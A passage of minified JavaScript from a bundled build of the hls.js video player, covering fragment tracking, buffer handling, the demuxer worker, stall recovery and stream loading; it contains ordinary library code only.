this.loaders[r.type],this.hls.trigger(l.default.ERROR,{type:a.ErrorTypes.NETWORK_ERROR,details:a.ErrorDetails.KEY_LOAD_TIMEOUT,fatal:!1,frag:r})},i}(c),F="NOT_LOADED",U="APPENDING",B="PARTIAL",G="OK",j=function(e){var t,r;function i(t){var r;return(r=e.call(this,t,l.default.BUFFER_APPENDED,l.default.FRAG_BUFFERED,l.default.FRAG_LOADED)||this).bufferPadding=.2,r.fragments=Object.create(null),r.timeRanges=Object.create(null),r.config=t.config,r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.destroy=function(){this.fragments=Object.create(null),this.timeRanges=Object.create(null),this.config=null,c.prototype.destroy.call(this),e.prototype.destroy.call(this)},n.getBufferedFrag=function(e,t){var r=this.fragments,i=Object.keys(r).filter((function(i){var n=r[i];if(n.body.type!==t)return!1;if(!n.buffered)return!1;var s=n.body;return s.startPTS<=e&&e<=s.endPTS}));if(0===i.length)return null;var n=i.pop();return r[n].body},n.detectEvictedFragments=function(e,t){var r=this;Object.keys(this.fragments).forEach((function(i){var n=r.fragments[i];if(n&&n.buffered){var s=n.range[e];if(s)for(var a=s.time,o=0;o<a.length;o++){var l=a[o];if(!r.isTimeBuffered(l.startPTS,l.endPTS,t)){r.removeFragment(n.body);break}}}}))},n.detectPartialFragments=function(e){var t=this,r=this.getFragmentKey(e),i=this.fragments[r];i&&(i.buffered=!0,Object.keys(this.timeRanges).forEach((function(r){if(e.hasElementaryStream(r)){var n=t.timeRanges[r];i.range[r]=t.getBufferedTimes(e.startPTS,e.endPTS,n)}})))},n.getBufferedTimes=function(e,t,r){for(var i,n,s=[],a=!1,o=0;o<r.length;o++){if(i=r.start(o)-this.bufferPadding,n=r.end(o)+this.bufferPadding,e>=i&&t<=n){s.push({startPTS:Math.max(e,r.start(o)),endPTS:Math.min(t,r.end(o))});break}if(e<n&&t>i)s.push({startPTS:Math.max(e,r.start(o)),endPTS:Math.min(t,r.end(o))}),a=!0;else if(t<=i)break}return{time:s,partial:a}},n.getFragmentKey=function(e){return e.type+"_"+e.level+"_"+e.urlId+"_"+e.sn},n.getPartialFragment=function(e){var t,r,i,n=this,s=null,a=0;return Object.keys(this.fragments).forEach((function(o){var l=n.fragments[o];n.isPartial(l)&&(r=l.body.startPTS-n.bufferPadding,i=l.body.endPTS+n.bufferPadding,e>=r&&e<=i&&(t=Math.min(e-r,i-e),a<=t&&(s=l.body,a=t)))})),s},n.getState=function(e){var t=this.getFragmentKey(e),r=this.fragments[t],i=F;return void 0!==r&&(i=r.buffered?!0===this.isPartial(r)?B:G:U),i},n.isPartial=function(e){return!0===e.buffered&&(void 0!==e.range.video&&!0===e.range.video.partial||void 0!==e.range.audio&&!0===e.range.audio.partial)},n.isTimeBuffered=function(e,t,r){for(var i,n,s=0;s<r.length;s++){if(i=r.start(s)-this.bufferPadding,n=r.end(s)+this.bufferPadding,e>=i&&t<=n)return!0;if(t<=i)return!1}return!1},n.onFragLoaded=function(e){var t=e.frag;Object(o.isFiniteNumber)(t.sn)&&!t.bitrateTest&&(this.fragments[this.getFragmentKey(t)]={body:t,range:Object.create(null),buffered:!1})},n.onBufferAppended=function(e){var t=this;this.timeRanges=e.timeRanges,Object.keys(this.timeRanges).forEach((function(e){var r=t.timeRanges[e];t.detectEvictedFragments(e,r)}))},n.onFragBuffered=function(e){this.detectPartialFragments(e.frag)},n.hasFragment=function(e){var t=this.getFragmentKey(e);return void 0!==this.fragments[t]},n.removeFragment=function(e){var t=this.getFragmentKey(e);delete this.fragments[t]},n.removeAllFragments=function(){this.fragments=Object.create(null)},i}(c),$={search:function(e,t){for(var r=0,i=e.length-1,n=null,s=null;r<=i;){var a=t(s=e[n=(r+i)/2|0]);if(a>0)r=n+1;else{if(!(a<0))return s;i=n-1}}return null}},H=function(){function e(){}return e.isBuffered=function(e,t){try{if(e)for(var r=e.buffered,i=0;i<r.length;i++)if(t>=r.start(i)&&t<=r.end(i))return!0}catch(e){}return!1},e.bufferInfo=function(e,t,r){try{if(e){var i,n=e.buffered,s=[];for(i=0;i<n.length;i++)s.push({start:n.start(i),end:n.end(i)});return this.bufferedInfo(s,t,r)}}catch(e){}return{len:0,start:t,end:t,nextStart:void 0}},e.bufferedInfo=function(e,t,r){e.sort((function(e,t){var r=e.start-t.start;return r||t.end-e.end}));var i=[];if(r)for(var n=0;n<e.length;n++){var s=i.length;if(s){var a=i[s-1].end;e[n].start-a<r?e[n].end>a&&(i[s-1].end=e[n].end):i.push(e[n])}else i.push(e[n])}else i=e;for(var o,l=0,d=t,h=t,u=0;u<i.length;u++){var c=i[u].start,f=i[u].end;if(t+r>=c&&t<f)d=c,l=(h=f)-t;else if(t+r<c){o=c;break}}return{len:l,start:d,end:h,nextStart:o}},e}(),q=r("./node_modules/eventemitter3/index.js"),W=r("./node_modules/webworkify-webpack/index.js"),V=r("./src/demux/demuxer-inline.js");function K(){return window.MediaSource||window.WebKitMediaSource}var z=r("./src/utils/get-self-scope.js"),X=function(e){var t,r;function i(){return e.apply(this,arguments)||this}return r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r,i.prototype.trigger=function(e){for(var t=arguments.length,r=new Array(t>1?t-1:0),i=1;i<t;i++)r[i-1]=arguments[i];this.emit.apply(this,[e,e].concat(r))},i}(q.EventEmitter),Y=Object(z.getSelfScope)(),J=K()||{isTypeSupported:function(){return!1}},Q=function(){function e(e,t){var r=this;this.hls=e,this.id=t;var i=this.observer=new X,n=e.config,s=function(t,i){(i=i||{}).frag=r.frag,i.id=r.id,e.trigger(t,i)};i.on(l.default.FRAG_DECRYPTED,s),i.on(l.default.FRAG_PARSING_INIT_SEGMENT,s),i.on(l.default.FRAG_PARSING_DATA,s),i.on(l.default.FRAG_PARSED,s),i.on(l.default.ERROR,s),i.on(l.default.FRAG_PARSING_METADATA,s),i.on(l.default.FRAG_PARSING_USERDATA,s),i.on(l.default.INIT_PTS_FOUND,s);var o={mp4:J.isTypeSupported("video/mp4"),mpeg:J.isTypeSupported("audio/mpeg"),mp3:J.isTypeSupported('audio/mp4; codecs="mp3"')},h=navigator.vendor;if(n.enableWorker&&"undefined"!=typeof Worker){var u;d.logger.log("demuxing in webworker");try{u=this.w=W(/*! ../demux/demuxer-worker.js */"./src/demux/demuxer-worker.js"),this.onwmsg=this.onWorkerMessage.bind(this),u.addEventListener("message",this.onwmsg),u.onerror=function(t){e.trigger(l.default.ERROR,{type:a.ErrorTypes.OTHER_ERROR,details:a.ErrorDetails.INTERNAL_EXCEPTION,fatal:!0,event:"demuxerWorker",err:{message:t.message+" ("+t.filename+":"+t.lineno+")"}})},u.postMessage({cmd:"init",typeSupported:o,vendor:h,id:t,config:JSON.stringify(n)})}catch(e){d.logger.warn("Error in worker:",e),d.logger.error("Error while initializing DemuxerWorker, fallback on DemuxerInline"),u&&Y.URL.revokeObjectURL(u.objectURL),this.demuxer=new V.default(i,o,n,h),this.w=void 0}}else this.demuxer=new V.default(i,o,n,h)}var t=e.prototype;return t.destroy=function(){var e=this.w;if(e)e.removeEventListener("message",this.onwmsg),e.terminate(),this.w=null;else{var t=this.demuxer;t&&(t.destroy(),this.demuxer=null)}var r=this.observer;r&&(r.removeAllListeners(),this.observer=null)},t.push=function(e,t,r,i,n,s,a,l){var h=this.w,u=Object(o.isFiniteNumber)(n.startPTS)?n.startPTS:n.start,c=n.decryptdata,f=this.frag,g=!(f&&n.cc===f.cc),p=!(f&&n.level===f.level),m=f&&n.sn===f.sn+1,v=!p&&m;if(g&&d.logger.log(this.id+":discontinuity detected"),p&&d.logger.log(this.id+":switch detected"),this.frag=n,h)h.postMessage({cmd:"demux",data:e,decryptdata:c,initSegment:t,audioCodec:r,videoCodec:i,timeOffset:u,discontinuity:g,trackSwitch:p,contiguous:v,duration:s,accurateTimeOffset:a,defaultInitPTS:l},e instanceof ArrayBuffer?[e]:[]);else{var _=this.demuxer;_&&_.push(e,c,t,r,i,u,g,p,v,s,a,l)}},t.onWorkerMessage=function(e){var t=e.data,r=this.hls;switch(t.event){case"init":Y.URL.revokeObjectURL(this.w.objectURL);break;case l.default.FRAG_PARSING_DATA:t.data.data1=new Uint8Array(t.data1),t.data2&&(t.data.data2=new Uint8Array(t.data2));default:t.data=t.data||{},t.data.frag=this.frag,t.data.id=this.id,r.trigger(t.event,t.data)}},e}();function Z(e,t,r){switch(t){case"audio":e.audioGroupIds||(e.audioGroupIds=[]),e.audioGroupIds.push(r);break;case"text":e.textGroupIds||(e.textGroupIds=[]),e.textGroupIds.push(r)}}function ee(e,t,r){var i=e[t],n=e[r],s=n.startPTS;if(Object(o.isFiniteNumber)(s))r>t?(i.duration=s-i.start,i.duration<0&&d.logger.warn("negative duration computed for frag "+i.sn+",level "+i.level+", there should be some duration drift between playlist and fragment!")):(n.duration=i.start-s,n.duration<0&&d.logger.warn("negative duration computed for frag "+n.sn+",level "+n.level+", there should be some duration drift between playlist and fragment!"));else if(r>t){var a=i.cc===n.cc;n.start=i.start+(a&&i.minEndPTS?i.minEndPTS-i.start:i.duration)}else n.start=Math.max(i.start-n.duration,0)}function te(e,t,r,i,n,s){var a=r,l=i;if(Object(o.isFiniteNumber)(t.startPTS)){var d=Math.abs(t.startPTS-r);Object(o.isFiniteNumber)(t.deltaPTS)?t.deltaPTS=Math.max(d,t.deltaPTS):t.deltaPTS=d,a=Math.max(r,t.startPTS),r=Math.min(r,t.startPTS),l=Math.min(i,t.endPTS),i=Math.max(i,t.endPTS),n=Math.min(n,t.startDTS),s=Math.max(s,t.endDTS)}var h=r-t.start;t.start=t.startPTS=r,t.maxStartPTS=a,t.endPTS=i,t.minEndPTS=l,t.startDTS=n,t.endDTS=s,t.duration=i-r;var u,c,f,g=t.sn;if(!e||g<e.startSN||g>e.endSN)return 0;for(u=g-e.startSN,(c=e.fragments)[u]=t,f=u;f>0;f--)ee(c,f,f-1);for(f=u;f<c.length-1;f++)ee(c,f,f+1);return e.PTSKnown=!0,h}function re(e,t,r){if(e&&t)for(var i=Math.max(e.startSN,t.startSN)-t.startSN,n=Math.min(e.endSN,t.endSN)-t.startSN,s=t.startSN-e.startSN,a=i;a<=n;a++){var o=e.fragments[s+a],l=t.fragments[a];if(!o||!l)break;r(o,l,a)}}var ie={toString:function(e){for(var t="",r=e.length,i=0;i<r;i++)t+="["+e.start(i).toFixed(3)+","+e.end(i).toFixed(3)+"]";return t}};function ne(e,t){t.fragments.forEach((function(t){if(t){var r=t.start+e;t.start=t.startPTS=r,t.endPTS=r+t.duration}})),t.PTSKnown=!0}function se(e,t,r){!function(e,t,r){if(function(e,t,r){var i=!1;return t&&t.details&&r&&(r.endCC>r.startCC||e&&e.cc<r.startCC)&&(i=!0),i}(e,r,t)){var i=function(e,t){var r=e.fragments,i=t.fragments;if(i.length&&r.length){var n=function(e,t){for(var r=null,i=0;i<e.length;i+=1){var n=e[i];if(n&&n.cc===t){r=n;break}}return r}(r,i[0].cc);if(n&&(!n||n.startPTS))return n;d.logger.log("No frag in previous level to align on")}else d.logger.log("No fragments to align")}(r.details,t);i&&(d.logger.log("Adjusting PTS using last level due to CC increase within current level"),ne(i.start,t))}}(e,r,t),!r.PTSKnown&&t&&function(e,t){if(t&&t.fragments.length){if(!e.hasProgramDateTime||!t.hasProgramDateTime)return;var r=t.fragments[0].programDateTime,i=(e.fragments[0].programDateTime-r)/1e3+t.fragments[0].start;Object(o.isFiniteNumber)(i)&&(d.logger.log("adjusting PTS using programDateTime delta, sliding:"+i.toFixed(3)),ne(i,e))}}(r,t.details)}function ae(e,t,r){void 0===e&&(e=0),void 0===t&&(t=0);var i=Math.min(t,r.duration+(r.deltaPTS?r.deltaPTS:0));return r.start+r.duration-i<=e?1:r.start-i>e&&r.start?-1:0}function oe(e,t,r){var i=1e3*Math.min(t,r.duration+(r.deltaPTS?r.deltaPTS:0));return(r.endProgramDateTime||0)-i>e}var le=function(){function e(e,t,r,i){this.config=e,this.media=t,this.fragmentTracker=r,this.hls=i,this.nudgeRetry=0,this.stallReported=!1,this.stalled=null,this.moved=!1,this.seeking=!1}var t=e.prototype;return t.poll=function(e){var t=this.config,r=this.media,i=this.stalled,n=r.currentTime,s=r.seeking,a=this.seeking&&!s,o=!this.seeking&&s;if(this.seeking=s,n===e){if((o||a)&&(this.stalled=null),!r.paused&&!r.ended&&0!==r.playbackRate&&r.buffered.length){var l=H.bufferInfo(r,n,0),h=l.len>0,u=l.nextStart||0;if(h||u){if(s){var c=l.len>2,f=!u||u-n>2&&!this.fragmentTracker.getPartialFragment(n);if(c||f)return;this.moved=!1}if(!this.moved&&this.stalled){var g=Math.max(u,l.start||0)-n;if(g>0&&g<=2)return void this._trySkipBufferHole(null)}var p=self.performance.now();if(null!==i){var m=p-i;!s&&m>=250&&this._reportStall(l.len);var v=H.bufferInfo(r,n,t.maxBufferHole);this._tryFixBufferStall(v,m)}else this.stalled=p}}}else if(this.moved=!0,null!==i){if(this.stallReported){var _=self.performance.now()-i;d.logger.warn("playback not stuck anymore @"+n+", after "+Math.round(_)+"ms"),this.stallReported=!1}this.stalled=null,this.nudgeRetry=0}},t._tryFixBufferStall=function(e,t){var r=this.config,i=this.fragmentTracker,n=this.media.currentTime,s=i.getPartialFragment(n);s&&this._trySkipBufferHole(s)||e.len>r.maxBufferHole&&t>1e3*r.highBufferWatchdogPeriod&&(d.logger.warn("Trying to nudge playhead over buffer-hole"),this.stalled=null,this._tryNudgeBuffer())},t._reportStall=function(e){var t=this.hls,r=this.media;this.stallReported||(this.stallReported=!0,d.logger.warn("Playback stalling at @"+r.currentTime+" due to low buffer (buffer="+e+")"),t.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_STALLED_ERROR,fatal:!1,buffer:e}))},t._trySkipBufferHole=function(e){for(var t=this.config,r=this.hls,i=this.media,n=i.currentTime,s=0,o=0;o<i.buffered.length;o++){var h=i.buffered.start(o);if(n+t.maxBufferHole>=s&&n<h){var u=Math.max(h+.05,i.currentTime+.1);return d.logger.warn("skipping hole, adjusting currentTime from "+n+" to "+u),this.moved=!0,this.stalled=null,i.currentTime=u,e&&r.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_SEEK_OVER_HOLE,fatal:!1,reason:"fragment loaded with buffer holes, seeking from "+n+" to "+u,frag:e}),u}s=i.buffered.end(o)}return 0},t._tryNudgeBuffer=function(){var e=this.config,t=this.hls,r=this.media,i=r.currentTime,n=(this.nudgeRetry||0)+1;if(this.nudgeRetry=n,n<e.nudgeMaxRetry){var s=i+n*e.nudgeOffset;d.logger.warn("Nudging 'currentTime' from "+i+" to "+s),r.currentTime=s,t.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_NUDGE_ON_STALL,fatal:!1})}else d.logger.error("Playhead still not moving while enough data buffered @"+i+" after "+e.nudgeMaxRetry+" nudges"),t.trigger(l.default.ERROR,{type:a.ErrorTypes.MEDIA_ERROR,details:a.ErrorDetails.BUFFER_STALLED_ERROR,fatal:!0})},e}();function de(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}var he=function(e){var t,r;function i(t){for(var r,i=arguments.length,n=new Array(i>1?i-1:0),s=1;s<i;s++)n[s-1]=arguments[s];return(r=e.call.apply(e,[this,t].concat(n))||this)._boundTick=void 0,r._tickTimer=null,r._tickInterval=null,r._tickCallCount=0,r._boundTick=r.tick.bind(de(r)),r}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.onHandlerDestroying=function(){this.clearNextTick(),this.clearInterval()},n.hasInterval=function(){return!!this._tickInterval},n.hasNextTick=function(){return!!this._tickTimer},n.setInterval=function(e){return!this._tickInterval&&(this._tickInterval=self.setInterval(this._boundTick,e),!0)},n.clearInterval=function(){return!!this._tickInterval&&(self.clearInterval(this._tickInterval),this._tickInterval=null,!0)},n.clearNextTick=function(){return!!this._tickTimer&&(self.clearTimeout(this._tickTimer),this._tickTimer=null,!0)},n.tick=function(){this._tickCallCount++,1===this._tickCallCount&&(this.doTick(),this._tickCallCount>1&&(this.clearNextTick(),this._tickTimer=self.setTimeout(this._boundTick,0)),this._tickCallCount=0)},n.doTick=function(){},i}(c),ue="STOPPED",ce="IDLE",fe="KEY_LOADING",ge="FRAG_LOADING",pe="FRAG_LOADING_WAITING_RETRY",me="PARSING",ve="PARSED",_e="BUFFER_FLUSHING",ye="ENDED",Ee="ERROR",be="WAITING_LEVEL",Se=function(e){var t,r;function i(){return e.apply(this,arguments)||this}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var n=i.prototype;return n.doTick=function(){},n.startLoad=function(){},n.stopLoad=function(){var e=this.fragCurrent;e&&(e.loader&&e.loader.abort(),this.fragmentTracker.removeFragment(e)),this.demuxer&&(this.demuxer.destroy(),this.demuxer=null),this.fragCurrent=null,this.fragPrevious=null,this.clearInterval(),this.clearNextTick(),this.state=ue},n._streamEnded=function(e,t){var r=this.fragCurrent,i=this.fragmentTracker;if(!t.live&&r&&!r.backtracked&&r.sn===t.endSN&&!e.nextStart){var n=i.getState(r);return n===B||n===G}return!1},n.onMediaSeeking=function(){var e=this.config,t=this.media,r=this.mediaBuffer,i=this.state,n=t?t.currentTime:null,s=H.bufferInfo(r||t,n,this.config.maxBufferHole);if(d.logger.log("media seeking to "+(Object(o.isFiniteNumber)(n)?n.toFixed(3):n)),i===ge){var a=this.fragCurrent;if(0===s.len&&a){var l=e.maxFragLookUpTolerance,h=a.start-l,u=a.start+a.duration+l;n<h||n>u?(a.loader&&(d.logger.log("seeking outside of buffer while fragment load in progress, cancel fragment load"),a.loader.abort()),this.fragCurrent=null,this.fragPrevious=null,this.state=ce):d.logger.log("seeking outside of buffer but within currently loaded fragment range")}}else i===ye&&(0===s.len&&(this.fragPrevious=null,this.fragCurrent=null),this.state=ce);t&&(this.lastCurrentTime=n),this.loadedmetadata||(this.nextLoadPosition=this.startPosition=n),this.tick()},n.onMediaEnded=function(){this.startPosition=this.lastCurrentTime=0},n.onHandlerDestroying=function(){this.stopLoad(),e.prototype.onHandlerDestroying.call(this)},n.onHandlerDestroyed=function(){this.state=ue,this.fragmentTracker=null},n.computeLivePosition=function(e,t){var r=void 0!==this.config.liveSyncDuration?this.config.liveSyncDuration:this.config.liveSyncDurationCount*t.targetduration;return e+Math.max(0,t.totalduration-r)},i}(he);function Te(e,t){for(var r=0;r<t.length;r++){var i=t[r];i.enumerable=i.enumerable||!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(e,i.key,i)}}var we,Ae=function(e){var t,r;function i(t,r){var i;return(i=e.call(this,t,l.default.MEDIA_ATTACHED,l.default.MEDIA_DETACHING,l.default.MANIFEST_LOADING,l.default.MANIFEST_PARSED,l.default.LEVEL_LOADED,l.default.LEVELS_UPDATED,l.default.KEY_LOADED,l.default.FRAG_LOADED,l.default.FRAG_LOAD_EMERGENCY_ABORTED,l.default.FRAG_PARSING_INIT_SEGMENT,l.default.FRAG_PARSING_DATA,l.default.FRAG_PARSED,l.default.ERROR,l.default.AUDIO_TRACK_SWITCHING,l.default.AUDIO_TRACK_SWITCHED,l.default.BUFFER_CREATED,l.default.BUFFER_APPENDED,l.default.BUFFER_FLUSHED)||this).fragmentTracker=r,i.config=t.config,i.audioCodecSwap=!1,i._state=ue,i.stallReported=!1,i.gapController=null,i.altAudio=!1,i.audioOnly=!1,i.bitrateTest=!1,i}r=e,(t=i).prototype=Object.create(r.prototype),t.prototype.constructor=t,t.__proto__=r;var s,h,u,c=i.prototype;return c.startLoad=function(e){if(this.levels){var t=this.lastCurrentTime,r=this.hls;if(this.stopLoad(),this.setInterval(100),this.level=-1,this.fragLoadError=0,!this.startFragRequested){var i=r.startLevel;-1===i&&(r.config.testBandwidth?(i=0,this.bitrateTest=!0):i=r.nextAutoLevel),this.level=r.nextLoadLevel=i,this.loadedmetadata=!1}t>0&&-1===e&&(d.logger.log("override startPosition with lastCurrentTime @"+t.toFixed(3)),e=t),this.state=ce,this.nextLoadPosition=this.startPosition=this.lastCurrentTime=e,this.tick()}else this.forceStartLoad=!0,this.state=ue},c.stopLoad=function(){this.forceStartLoad=!1,e.prototype.stopLoad.call(this)},c.doTick=function(){switch(this.state){case _e:this.fragLoadError=0;break;case ce:this._doTickIdle();break;case be:var e=this.levels[this.level];e&&e.details&&(this.state=ce);break;case pe:var t=window.performance.now(),r=this.retryDate;(!r||t>=r||this.media&&this.media.seeking)&&(d.logger.log("mediaController: retryDate reached, switch back to IDLE state"),this.state=ce)}this._checkBuffer(),this._checkFragmentChanged()},c._doTickIdle=function(){var e=this.hls,t=e.config,r=this.media;if(void 0!==this.levelLastLoaded&&(r||!this.startFragRequested&&t.startFragPrefetch))if(this.altAudio&&this.audioOnly)this.demuxer.frag=null;else{var i;i=this.loadedmetadata?r.currentTime:this.nextLoadPosition;var n=e.nextLoadLevel,s=this.levels[n];if(s){var a,o=s.bitrate;a=o?Math.max(8*t.maxBufferSize/o,t.maxBufferLength):t.maxBufferLength,a=Math.min(a,t.maxMaxBufferLength);var h=i<t.maxBufferHole?Math.max(2,t.maxBufferHole):t.maxBufferHole,u=H.bufferInfo(this.mediaBuffer?this.mediaBuffer:r,i,h),c=u.len;if(!(c>=a)){d.logger.trace("buffer length of "+c.toFixed(3)+" is below max of "+a.toFixed(3)+". checking for more payload ..."),this.level=e.nextLoadLevel=n;var f=s.details;if(!f||f.live&&this.levelLastLoaded!==n)this.state=be;else{if(this._streamEnded(u,f)){var g={};return this.altAudio&&(g.type="video"),this.hls.trigger(l.default.BUFFER_EOS,g),void(this.state=ye)}this._fetchPayloadOrEos(i,u,f)}}}}},c._fetchPayloadOrEos=function(e,t,r){var i=this.fragPrevious,n=(this.level,r.fragments),s=n.length;if(0!==s){var a,o=n[0].start,l=n[s-1].start+n[s-1].duration,h=t.end;if(r.initSegment&&!r.initSegment.data)a=r.initSegment;else if(r.live){var u=this.config.initialLiveManifestSize;if(s<u)return void d.logger.warn("Can not start playback of a level, reason: not enough fragments "+s+" < "+u);if(null===(a=this._ensureFragmentAtLivePoint(r,h,o,l,i,n)))return}else h<o&&(a=n[0]);a||(a=this._findFragment(o,i,s,n,h,l,r)),a&&(a.encrypted?this._loadKey(a,r):this._loadFragment(a,r,e,h))}},c._ensureFragmentAtLivePoint=function(e,t,r,i,n,s){var a,l=this.hls.config,h=this.media,u=1/0;if(void 0!==l.liveMaxLatencyDuration?u=l.liveMaxLatencyDuration:Object(o.isFiniteNumber)(l.liveMaxLatencyDurationCount)&&(u=l.liveMaxLatencyDurationCount*e.targetduration),t<Math.max(r-l.maxFragLookUpTolerance,i-u)){var c=this.liveSyncPosition=this.computeLivePosition(r,e);t=c,h&&!h.paused&&h.readyState&&h.duration>c&&c>h.currentTime&&(d.logger.log("buffer end: "+t.toFixed(3)+" is located too far from the end of live sliding playlist, reset currentTime to : "+c.toFixed(3)),h.currentTime=c),this.nextLoadPosition=c}if(e.PTSKnown&&t>i&&h&&h.readyState)return null;if(this.startFragRequested&&!e.PTSKnown&&n)if(e.hasProgramDateTime)d.logger.log("live playlist, switching playlist, load frag with same PDT: "+n.programDateTime),a=function(e,t,r){if(null===t||!Array.isArray(e)||!e.length||!Object(o.isFiniteNumber)(t))return null;if(t<(e[0].programDateTime||0))return null;if(t>=(e[e.length-1].endProgramDateTime||0))return null;r=r||0;for(var i=0;i<e.length;++i){var n=e[i];if(oe(t,r,n))return n}return null}(s,n.endProgramDateTime,l.maxFragLookUpTolerance);else{var f=n.sn+1;if(f>=e.startSN&&f<=e.endSN){var g=s[f-e.startSN];n.cc===g.cc&&(a=g,d.logger.log("live playlist, switching playlist, load frag with next SN: "+a.sn))}a||(a=$.search(s,(function(e){return n.cc-e.cc})))&&d.logger.log("live playlist, switching playlist, load frag with same CC: "+a.sn)}return a},c._findFragment=function(e,t,r,i,n,s,a){var o,l=this.hls.config;if(o=n<s?function(e,t,r,i){void 0===r&&(r=0),void 0===i&&(i=0);var n=null;return e?n=t[e.sn-t[0].sn+1]:0===r&&0===t[0].start&&(n=t[0]),n&&0===ae(r,i,n)?n:$.search(t,ae.bind(null,r,i))||n}(t,i,n,n>s-l.maxFragLookUpTolerance?0:l.maxFragLookUpTolerance):i[r-1],o){var h=o.sn-a.startSN,u=t&&o.level===t.level,c=i[h-1],f=i[h+1];if(t&&o.sn===t.sn)if(u&&!o.backtracked)if(o.sn<a.endSN){var g=t.deltaPTS;g&&g>l.maxBufferHole&&t.dropped&&h?(o=c,d.logger.warn("Previous fragment was dropped with large PTS gap between audio and video. Maybe fragment is not starting with a keyframe? Loading previous one to try to overcome this")):(o=f,this.fragmentTracker.getState(o)!==G&&d.logger.log("Re-loading fragment with SN: "+o.sn))}else o=null;else o.backtracked&&(f&&f.backtracked?(d.logger.warn("Already backtracked from fragment "+f.sn+", will not backtrack to fragment "+o.sn+". Loading fragment "+f.sn),o=f):(d.logger.warn("Loaded fragment with dropped frames, backtracking 1 segment to find a keyframe"),o.dropped=0,c?(o=c).backtracked=!0:h&&(o=null)))}return o},c._loadKey=function(e,t){d.logger.log("Loading key for "+e.sn+" of ["+t.startSN+"-"+t.endSN+"], level "+this.level),this.state=fe,this.hls.trigger(l.default.KEY_LOADING,{frag:e})},c._loadFragment=function(e,t,r,i){var n=this.fragmentTracker.getState(e);this.fragCurrent=e,"initSegment"!==e.sn&&(this.startFragRequested=!0),Object(o.isFiniteNumber)(e.sn)&&!e.bitrateTest&&(this.nextLoadPosition=e.start+e.duration),e.backtracked||n===F||n===B?(e.autoLevel=this.hls.autoLevelEnabled,e.bitrateTest=this.bitrateTest,d.logger.log("Loading "+e.sn+" of ["+t.startSN+"-"+t.endSN+"], level "+this.level+", "+(this.loadedmetadata?"currentTime":"nextLoadPosition")+": "+parseFloat(r.toFixed(3))+", bufferEnd: "+parseFloat(i.toFixed(3))),this.hls.trigger(l.default.FRAG_LOADING,{frag:e}),this.demuxer||(this.demuxer=new Q(this.hls,"main")),this.state=ge):n===U&&this._reduceMaxBufferLength(e.duration)&&this.fragmentTracker.removeFragment(e)},c.getBufferedFrag=function(e){return this.fragmentTracker.getBufferedFrag(e,n.MAIN)},c.followingBufferedFrag=function(e){return e?this.getBufferedFrag(e.endPTS+.5):null},c._checkFragmentChanged=function(){var e,t,r=this.media;if(r&&r.readyState&&!1===r.seeking&&((t=r.currentTime)>this.lastCurrentTime&&(this.lastCurrentTime=t),H.isBuffered(r,t)?e=this.getBufferedFrag(t):H.isBuffered(r,t+.1)&&(e=this.getBufferedFrag(t+.1)),e)){var i=e;if(i!==this.fragPlaying){this.hls.trigger(l.default.FRAG_CHANGED,{frag:i});var n=i.level;this.fragPlaying&&this.fragPlaying.level===n||this.hls.trigger(l.default.LEVEL_SWITCHED,{level:n}),this.fragPlaying=i}}},c.immediateLevelSwitch=function(){if(d.logger.log("immediateLevelSwitch"),!this.immediateSwitch){this.immediateSwitch=!0;var e,t=this.media;t?(e=t.paused)||t.pause():e=!0,this.previouslyPaused=e}var r=this.fragCurrent;r&&r.loader&&r.loader.abort(),this.fragCurrent=null,this.flushMainBuffer(0,Number.POSITIVE_INFINITY)},c.immediateLevelSwitchEnd=function(){var e=this.media;e&&e.buffered.length&&(this.immediateSwitch=!1,e.currentTime>0&&H.isBuffered(e,e.currentTime)&&(e.currentTime-=1e-4),this.previouslyPaused||e.play())},c.nextLevelSwitch=function(){var e=this.media;if(e&&e.readyState){var t,r=this.getBufferedFrag(e.currentTime);if(r&&r.startPTS>1&&this.flushMainBuffer(0,r.startPTS-1),e.paused)t=0;else{var i=this.hls.nextLoadLevel,n=this.levels[i],s=this.fragLastKbps;t=s&&this.fragCurrent?this.fragCurrent.duration*n.bitrate/(1e3*s)+1:0}var a=this.getBufferedFrag(e.currentTime+t);if(a){var o=this.followingBufferedFrag(a);if(o){var l=this.fragCurrent;l&&l.loader&&l.loader.abort(),this.fragCurrent=null;var d=Math.max(a.endPTS,o.maxStartPTS+Math.min(this.config.maxFragLookUpTolerance,o.duration));this.flushMainBuffer(d,Number.POSITIVE_INFINITY)}}}},c.flushMainBuffer=function(e,t){this.state=_e;var r={startOffset:e,endOffset:t};this.altAudio&&(r.type="video"),this.hls.trigger(l.default.BUFFER_FLUSHING,r)},c.onMediaAttached=function(e){var t=this.media=this.mediaBuffer=e.media;this.onvseeking=this.onMediaSeeking.bind(this),this.onvseeked=this.onMediaSeeked.bind(this),this.onvended=this.onMediaEnded.bind(this),t.addEventListener("seeking",this.onvseeking),t.addEventListener("seeked",this.onvseeked),t.addEventListener("ended",this.onvended);var r=this.config;this.levels&&r.autoStartLoad&&this.hls.startLoad(r.startPosition),this.gapController=new le(r,t,this.fragmentTracker,this.hls)},c.onMediaDetaching=function(){var e=this.media;e&&e.ended&&(d.logger.log("MSE detaching and video ended, reset startPosition"),this.startPosition=this.lastCurrentTime=0);var t=this.levels;t&&t.forEach((function(e){e.details&&e.details.fragments.forEach((function(e){e.backtracked=void 0}))})),e&&(e.removeEventListener("seeking",this.onvseeking),e.removeEventListener("seeked",this.onvseeked),e.removeEventListener("ended",this.onvended),this.onvseeking=this.onvseeked=this.onvended=null),this.fragmentTracker.removeAllFragments(),this.media=this.mediaBuffer=null,this.loadedmetadata=!1,this.stopLoad()},c.onMediaSeeked=function(){var e=this.media,t=e?e.currentTime:void 0;Object(o.isFiniteNumber)(t)&&d.logger.log("media seeked to "+t.toFixed(3)),this.tick()},c.onManifestLoading=function(){d.logger.log("trigger 